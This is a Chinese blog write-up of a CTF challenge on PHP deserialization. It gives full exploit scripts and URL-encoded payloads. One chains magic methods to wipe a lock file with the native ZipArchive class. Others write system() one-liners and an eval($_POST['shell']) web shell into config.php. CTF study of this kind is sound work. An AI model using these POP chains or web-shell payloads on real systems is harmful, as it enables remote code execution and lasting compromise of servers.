铸剑杯-浅析PHP原生类

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
highlight_file(__FILE__);
class install {
private $username;
private $password;

public function __wakeup()
{
echo "Hello,".$this->username;
}

public function __toString()
{
($this->username)();
return "Guest";
}

public function __destruct()
{
if(file_exists("install.lock")){
exit("Already installed");
}else{
$config = [
'username' => $this->username,
'password' => md5($this->password)
];
file_put_contents('config.php', serialize($config));
file_put_contents('install.lock', "ok");
}
}
}

class Until {
public $a;
public $b;
public $c;

public function __invoke()
{
$this->write($this->a, $this->b, $this->c);
}

public function __toString()
{
return "HappyUnserialize";
}

public function write($cla, $file, $cont)
{
$obj = new $cla();
$obj->open($file,$cont);
return True;
}
}

@unserialize($_GET['data']);

install类的__destruct()魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __destruct()
{
if(file_exists("install.lock")){
exit("Already installed");
}else{
$config = [
'username' => $this->username,
'password' => md5($this->password)
];
file_put_contents('config.php', serialize($config));
file_put_contents('install.lock', "ok");
}
}

会先检查是否存在install.lock这个文件,如果存在就会直接exit结束,如果不存在就会将$config进行序列化,并将结果写进config.php文件中,并且还会将ok写入到install.lock文件中

这里的$config是一个数组,其中的username是属性usernamepassword是经过MD5加密后的属性password,这里如果将username的值设为一句话木马,不经过序列化后不就可以写入到config.php文件中了嘛,这样config.php就是个 Webshell 文件,至于password因为是要经过MD5加密,所以随便设置成什么都无所谓

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class install {
private $username = "<?php system('env');?>";
private $password = "123";
}

class Until {
public $a;
public $b;
public $c;
}

$install = new install();
echo urlencode(serialize($install));
?>
1
O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3Bs%3A22%3A%22%3C%3Fphp+system%28%27env%27%29%3B%3F%3E%22%3Bs%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7D

image-20251219143246077

然后去访问config.php就可以看到

image-20251219143318137

正常来说这样一次就能成功读到flag,但是如果第一次我没有读到flag呢,我想执行其他的命令呢,比如换成执行<?php system('ls /');?>

image-20251219143550071

image-20251219143604623

会发现不会再执行了,因为前面分析代码的时候看到了,第一步是会先查看是否存在install.lock文件的,第一次能执行成功是因为原本是没有config.phpinstall.lock文件的,所以可以成功,但是之后就不可以了,因为在第一次的时候,不仅会将序列化后的内容写入到config.php中,还会将ok写入到install.lock文件中,这样就会存在了install.lock文件,导致之后就会卡在判断这个文件是否存在的那段代码那

所以想要继续执行其他的代码,就要想办法将install.lock文件给删去,这里就可以考虑去看看另一个类了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Until {
public $a;
public $b;
public $c;

public function __invoke()
{
$this->write($this->a, $this->b, $this->c);
}

public function __toString()
{
return "HappyUnserialize";
}

public function write($cla, $file, $cont)
{
$obj = new $cla();
$obj->open($file,$cont);
return True;
}
}

这个类中有一个write()方法,可以接收$cla$file$cont这三个参数,在函数内,会先将$cla参数当作一个类,并将其实例化为对象$obj,然后会调用这个对象的open()方法,并将其余的两个参数当作open()方法的参数

看到这个open()方法,结合现在想要进行删文件的操作,就想到可以利用 PHP 原生类 ZipArchive 的open()来实现,在我另一个博客写了:

https://yschen20.github.io/2025/12/18/PHP%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#%E5%8F%AF%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E7%9A%84%E7%B1%BB

image-20251219145242309

这里就刚好是要传入给open()的两个参数,第一个$file是文件名,第二个$cont就是ZipArchive::OVERWRITE,也可以设置成8

image-20251219145351855

至于$cla就是要利用的原生类 ZipArchive

然后就是要看看怎么可以执行到这些代码:

  • Until类的__invoke()魔术方法中调用了write()函数
  • install类的__toString()魔术方法中($this->username)();这句代码可以触发__invoke()魔术方法
  • install类的__wakeup()魔术方法中echo "Hello,".$this->username;可以触发__toString魔术方法

所以就可以构造 POP 链了,EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class install {
private $username;
private $password;

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}

class Until {
public $a;
public $b;
public $c;
public $exp;
}

$Until = new Until();
$Until->a = 'ZipArchive';
$Until->b = 'install.lock';
$Until->c = 8;
$Until->exp = "<?php system('ls /');?>";

$install = new install(new install($Until,123),123);

echo urlencode(serialize($install));

1
O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A3%3A%22exp%22%3Bs%3A23%3A%22%3C%3Fphp+system%28%27ls+%2F%27%29%3B%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7D

image-20251219151552687

image-20251219151559789

可以成功执行了,也可以写入一句话木马进去蚁剑连

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class install {
private $username;
private $password;

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}

class Until {
public $a;
public $b;
public $c;
public $exp;
}

$Until = new Until();
$Until->a = 'ZipArchive';
$Until->b = 'install.lock';
$Until->c = 8;
$Until->exp = "<?php eval(\$_POST['shell']);?>";

$install = new install(new install($Until,123),123);

echo urlencode(serialize($install));

1
O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A3%3A%22exp%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_POST%5B%27shell%27%5D%29%3B%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7D

image-20251219151713228

image-20251219152147669


铸剑杯-浅析PHP原生类
https://yschen20.github.io/2025/12/19/铸剑杯-浅析PHP原生类/
作者
Suzen
发布于
2025年12月19日
更新于
2025年12月19日
许可协议